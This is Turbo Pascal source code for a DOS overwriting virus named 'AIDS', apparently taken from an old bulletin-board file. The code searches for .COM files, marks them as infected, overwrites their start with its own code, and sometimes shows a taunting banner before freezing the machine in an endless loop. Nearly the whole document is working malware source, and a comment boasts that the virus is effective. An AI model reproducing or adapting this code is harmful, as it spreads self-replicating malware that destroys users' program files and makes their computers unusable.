Warning :String[42] { Warning message }
= 'This File Has Been Infected By AIDS! HaHa!';
{ -- Type declarations------------------------------------- }
Type
DTARec =Record { Data area for file search }
DOSnext :Array[1..21] of Byte;
Attr : Byte;
Ftime,
FDate,
FLsize,
FHsize : Integer;
FullName: Array[1..13] of Char;
End;
Registers = Record {Register set used for file search }
Case Byte of
1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);
End;
Var
{ Memory offset program code }
ProgramStart : Byte absolute Cseg:$100;
{ Infected marker }
MarkInfected : String[42] absolute Cseg:$180;
Reg : Registers; { Register set }
DTA : DTARec; { Data area }
Buffer : Array[Byte] of Byte; { Data buffer }
TestID : String[42]; { To recognize infected files }
UsePath : String[66]; { Path to search files }
{ Lenght of search path }
UsePathLenght: Byte absolute UsePath;
Go : File; { File to infect }
B : Byte; { Used }
LoopVar : Integer; {Will loop forever}
{ -- Program code------------------------------------------ }
Begin
GetDir(0, UsePath); { get current directory }
if Pos('\', UsePath) <> UsePathLenght then
UsePath := UsePath + '\';
UsePath := UsePath + '*.COM'; { Define search mask }
Reg.AH := $1A; { Set data area }
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
Reg.AH := $4E;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath[1]);
Reg.CX := $ff; { Set attribute to find ALL files }
MsDos(Reg); { Find first matching entry }
IF not Odd(Reg.Flags) Then { If a file found then }
Repeat
UsePath := DTA.FullName;
B := Pos(#0, UsePath);
If B > 0 then
Delete(UsePath, B, 255); { Remove garbage }
Assign(Go, UsePath);
Reset(Go);
If IOresult = 0 Then { If not IO error then }
Begin
BlockRead(Go, Buffer, 2);
Move(Buffer[$80], TestID, 43);
{ Test if file already ill(Infected) }
If TestID <> Warning Then { If not then ... }
Begin
Seek (Go, 0);
{ Mark file as infected and .. }
MarkInfected := Warning;
{ Infect it }
BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
Close(Go);
Halt; {.. and halt the program }
End;
Close(Go);
End;
{ The file has already been infected, search next. }
Reg.AH := $4F;
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
{ ......................Until no more files are found }
Until Odd(Reg.Flags);
Loopvar:=Random(10);
If Loopvar=7 then
begin
Writeln(' '); {Give a lot of smiles}
Writeln('');
Writeln(' ');
Writeln(' ATTENTION: ');
Writeln(' I have been elected to inform you that throughout your process of ');
Writeln(' collecting and executing files, you have accidentally H��K� ');
Writeln(' yourself over; again, that''s PHUCKED yourself over. No, it cannot ');
Writeln(' be; YES, it CAN be, a ���s has infected your system. Now what do ');
Writeln(' you have to say about that? HAHAHAHA. Have H�� with this one and ');
Writeln(' remember, there is NO cure for ');
Writeln(' ');
Writeln(' ���������� ������������ ����������� ���������� ');
Writeln(' ��۱�������� �����۱����� �۱��������� ��۱�������� ');
Writeln(' �۱� �۱ �۱ �۱ �۱ �۱� �� ');
Writeln(' �۱ �۱ �۱ �۱ �۱ �۱ ');
Writeln(' �����������۱ �۱ �۱ �۱ ������������ ');
Writeln(' �۱��������۱ �۱ �۱ �۱ ����������۱ ');
Writeln(' �۱ �۱ �۱ �۱ �۱ �۱ ');
Writeln(' �۱ �۱ �۱ �۱ ��۱ �� ��۱ ');
Writeln(' �۱ �۱ ������������ ����������۱� ���������۱� ');
Writeln(' �� �� ������������ ����������� ���������� ');
Writeln(' ');
Writeln(' ');
REPEAT
LOOPVAR:=0;
UNTIL LOOPVAR=1;
end;
End.
{ Although this is a primitive virus its effective. }
{ In this virus only the .COM }
{ files are infected. Its about 13K and it will }
{ change the date entry. }
Downloaded From P-80 International Information Systems 304-744-2253
